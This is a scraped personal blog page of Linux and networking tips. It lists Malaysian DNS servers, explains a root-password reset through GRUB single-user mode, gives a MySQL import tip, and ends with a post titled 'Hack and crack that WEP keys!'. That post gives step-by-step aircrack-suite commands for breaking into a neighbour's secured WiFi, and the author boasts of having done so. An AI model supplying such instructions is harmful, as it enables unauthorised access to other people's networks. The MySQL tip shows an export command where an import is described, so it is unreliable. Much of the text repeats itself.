The following are streamyx dns ip address for the rest of malaysia users. Give it a try which is suite for you.... :) thanks to my friend, razlan.
202.188.0.132
202.188.0.183
202.188.1.8
202.188.0.184
202.188.0.136
202.188.0.4
202.188.1.23
202.188.1.25
change your dns setting to the ip above to test which one give you more speed. viola...
skip to main |
skip to sidebar
Showing posts with label Tips and Tricks. Show all posts
Showing posts with label Tips and Tricks. Show all posts
Sunday, July 4, 2010
I'm losing my root password
The title says it all. So bad. I don't want to run the installation again because i need all the data. It is become worst from the previous installation there is only one user which is root! So you need just root password to gain access to the systems.
My systems is RedHAt ES 5. In order to achieve my goal to get into this systems is try to run this machine using linux single mode. Follow the steps below :-
- To boot into single-user mode from GRUB, do the following from
the GRUB menu screen:
1. Select the desired kernel.
2. Press the 'e' key to edit that entry.
3. Use the arrow keys to navigate to the kernel line
(for example: kernel /vmlinuz-2.6.x-x ro root=/dev/hdx2)
4. Press the 'e' key to edit the line.
5. Add the argument 'single' to the end of the line and
press return.
6. Press the 'b' key to boot.
If everything goes well, you'll be able to issue the "passwd" command at the prompt and you'll be asked to make a new password.
NOte :- If you are using LILO, at the LILO boot prompt (if you are using the graphical LILO, you must press [Ctrl]-[x] to exit the graphical screen and go to the boot: prompt) type:
linux single
That's it! :D
My systems is RedHAt ES 5. In order to achieve my goal to get into this systems is try to run this machine using linux single mode. Follow the steps below :-
- To boot into single-user mode from GRUB, do the following from
the GRUB menu screen:
1. Select the desired kernel.
2. Press the 'e' key to edit that entry.
3. Use the arrow keys to navigate to the kernel line
(for example: kernel /vmlinuz-2.6.x-x ro root=/dev/hdx2)
4. Press the 'e' key to edit the line.
5. Add the argument 'single' to the end of the line and
press return.
6. Press the 'b' key to boot.
If everything goes well, you'll be able to issue the "passwd" command at the prompt and you'll be asked to make a new password.
NOte :- If you are using LILO, at the LILO boot prompt (if you are using the graphical LILO, you must press [Ctrl]-[x] to exit the graphical screen and go to the boot: prompt) type:
linux single
That's it! :D
Command line is everything... :)
Don't know about you. But for me linux command line is everything. Last a couple of weeks, i busy with server migration. Upgrading to new version of Ubuntu is not so hard to do. The tedious part is that to back up your data and put it up again. You'll be facing some of issues that your new server is restricted here and there. You'll be stuck at permissions and so on.
Getting the server up and running is just a simple thing to do. After done with some hardening, than you need to put your data back in to online. Most of the times i'll be using phpmyadmin to import my data back to the new server. I ran into problems....
Importing large amount of data failed due to constraints from your php.ini files. If you're not going to edit this file, you actually can do it by linux command line!!! :). SSH to your new server, upload that *.sql file[s] to your new server. Get to terminal as root and issue this command :-
# mysqldump -u username -p database_name > database_name.sql
enter the passwrd and you're done. :)
Getting the server up and running is just a simple thing to do. After done with some hardening, than you need to put your data back in to online. Most of the times i'll be using phpmyadmin to import my data back to the new server. I ran into problems....
Importing large amount of data failed due to constraints from your php.ini files. If you're not going to edit this file, you actually can do it by linux command line!!! :). SSH to your new server, upload that *.sql file[s] to your new server. Get to terminal as root and issue this command :-
# mysqldump -u username -p database_name > database_name.sql
enter the passwrd and you're done. :)
Hack and crack that WEP keys!
You don't have to be an IT expert to be able to make use of your neighbour's security enabled Wifi network. Are you kidding me? Hahahaahha... it's true. I've done a couple times. Please read on as i tell you how to do it. Pretty dead simple.
What you need is just a single Dvd with Back Track 3 or 4 installed. So get your copy from http://www.backtrack-linux.org/downloads/ . Burn it into cd/dvd.
Make sure u have a laptop with wireless card that support monitor mode. Most of modern laptop have capability to monitor packets. Boot up your laptop with dvd/cdrom. Wait until u get prompt by back track. Type startx to get started.
Now you're ready to rock! :) get your terminal and set your card to monitor mode :-
# iwconfig wlan0 mode monitor
note :- in my case, my Interface is wlan0, yours maybe different
then issue the following cmd :-
# airodump wlan0 /tmp/dump
# aireplay -2 wlan0
just wait for 5 to 10 min or more to get better amount of captured data.
hit control + c to stop the aireplay
then
# aircrack /tmp/dump_01.cap
if everything goes well, the encryption keys is now yours! :)
This steps can't be applied to WPA,WPA2 PSK due to lack of dictionary contents.
What you need is just a single Dvd with Back Track 3 or 4 installed. So get your copy from http://www.backtrack-linux.org/downloads/ . Burn it into cd/dvd.
Make sure u have a laptop with wireless card that support monitor mode. Most of modern laptop have capability to monitor packets. Boot up your laptop with dvd/cdrom. Wait until u get prompt by back track. Type startx to get started.
Now you're ready to rock! :) get your terminal and set your card to monitor mode :-
# iwconfig wlan0 mode monitor
note :- in my case, my Interface is wlan0, yours maybe different
then issue the following cmd :-
# airodump wlan0 /tmp/dump
# aireplay -2 wlan0
just wait for 5 to 10 min or more to get better amount of captured data.
hit control + c to stop the aireplay
then
# aircrack /tmp/dump_01.cap
if everything goes well, the encryption keys is now yours! :)
This steps can't be applied to WPA,WPA2 PSK due to lack of dictionary contents.
Labels
- iPhone (8)
- Joomla (3)
- Mobile Phones (3)
- My Life (7)
- Photologs (3)
- Tips and Tricks (4)
- Ubuntu Stuff (14)
Blog Archive
Pages
dr rude's blog |. Powered by Blogger.